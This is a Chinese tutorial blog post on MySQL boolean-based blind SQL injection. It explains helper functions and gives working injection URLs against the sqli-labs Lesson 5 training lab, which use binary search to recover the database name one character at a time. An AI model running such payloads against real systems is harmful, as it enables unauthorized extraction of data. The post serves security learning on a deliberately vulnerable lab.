mysql数据库的布尔盲注_mysql注入-布尔盲注总结

mysql中布尔盲注总结

布尔盲注常用函数:

length()字符串长度判断

left(a,b)从左侧截取a的前b位

substr(a,b,c)从b位置开始,截取字符串a的c长度。

ascii()将某个字符转换成相应的ascii码值。

mid(a,b,c)从位置b开始,截取a字符串的c位

ord函数与ascii()函数类似,将某个字符转换成相应的ascii码值。

regrexp正则注入

limit使用方法:limit的使用格式为limit m,n,其中m是指记录开始的位置,从0开始表示第一条记录;n是指取n条记录。例如:limit 0,1表示从第一题记录开始,取一条记录。

布尔盲注实例

靶场为sqlilabs第五关

确定该处为sql盲注后,首先使用length()函数判断当前数据库的长度:

当猜解数据库database()长度错误时,页面没有返回you are in......如图:

20190505222722175226.png

当猜解数据库database()长度正确时,页面返回you are in......如图:

20190505222722408625.png

在判断database()的长度时,可以使用大于号和小于号>,

20190505222722624445.png

下面采用上述函数依次猜解数据库名:

left(a,b)从左侧截取a的前b位

1,left(database(),1)>‘a‘截取database()的第一个字符,与我们给出的字符进行比较,若页面返回you are in.......则说明我们判断正确,database()的第一个字符的ascii码大于我们给出的字符a的ascii码。

20190505222722809015.png

2,继续二分法判断

//判断database()的第一个字符的ascii码是否大于我们给出的字符n的ascii码。

http://192.168.174.132/sqlilabs/Less-5/index.php?id=1' and left(database(),1)>'n'--+

//判断database()的第一个字符的ascii码是否大于我们给出的字符t的ascii码

http://192.168.174.132/sqlilabs/Less-5/index.php?id=1' and left(database(),1)>'t'--+

//判断database()的第一个字符的ascii码是否大于我们给出的字符q的ascii码

http://192.168.174.132/sqlilabs/Less-5/index.php?id=1' and left(database(),1)>'q'--+

//判断database()的第一个字符的ascii码是否大于我们给出的字符r的ascii码

http://192.168.174.132/sqlilabs/Less-5/index.php?id=1' and left(database(),1)>'r'--+

//ascii码大于r小于t的只有s,即猜解成功。

3,依次进行如上判断,可以猜解出database()的第一个字符为s,接着继续猜解第二个字符:

//判断database()的第二个字符的ascii码是否大于我们给出的字符a的ascii码。

http://192.168.174.132/sqlilabs/Less-5/index.php?id=1' and left(database(),2)>'sa'--+

//判断database()的第二个字符的ascii码是否大于我们给出的字符n的ascii码。

http://192.168.174.132/sqlilabs/Less-5/index.php?id=1' and left(database(),2)>'sn'--+

//判断database()的第二个字符的ascii码是否大于我们给出的字符g的ascii码。

http://192.168.174.132/sqlilabs/Less-5/index.php?id=1' and left(database(),2)>'sg'--+

//判断database()的第二个字符的ascii码是否大于我们给出的字符d的ascii码。

http://192.168.174.132/sqlilabs/Less-5/index.php?id=1' and left(database(),2)>'sd'--+

//判断database()的第二个字符的ascii码是否大于我们给出的字符e的ascii码。

http://192.168.174.132/sqlilabs/Less-5/index.php?id=1' and left(database(),2)>'se'--+

依次进行如上判断,可以猜解出database()的第二个字符为e,接着继续猜解剩下的字符即可;

在实际渗透中可以借助python脚本进行盲注,或者使用sqlmap等sql注入工具进行注入。

ascii()将某个字符转换成相应的ascii码值。

//判断database()的第一个字符的ascii码值是否大于我们给出的ascii码值

http://192.168.174.132/sqlilabs/Less-5/index.php?id=1' and ascii(left(database(),1))>114--+

ord函数与ascii()函数类似,将某个字符转换成相应的ascii码值。

//判断database()的第一个字符的ascii码值是否大于我们给出的ascii码值

http://192.168.174.132/sqlilabs/Less-5/index.php?id=1' and ord(left(database(),1))>114--+

substr(a,b,c)从b位置开始,截取字符串a的c长度。

//substr(a,b,c)函数表示从a字符串的第b个字符开始,截取c个字符。b的最小值为1。

http://192.168.174.132/sqlilabs/Less-5/index.php?id=1' and substr(database(),1,1)>'r'--+

//依次采用二分法查找即可

http://192.168.174.132/sqlilabs/Less-5/index.php?id=1' and substr(database(),1,2)>'sd'--+

mid(a,b,c)从位置b开始,截取a字符串的c位

//mid(a,b,c)函数表示从a字符串的第b个字符开始,截取c个字符。b的最小值为1。

http://192.168.174.132/sqlilabs/Less-5/index.php?id=1' and mid(database(),1,1)>'a'--+

//依次采用二分法查找即可

http://192.168.174.132/sqlilabs/Less-5/index.php?id=1' and mid(database(),1,8)>'securita'--+

regrexp正则注入

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值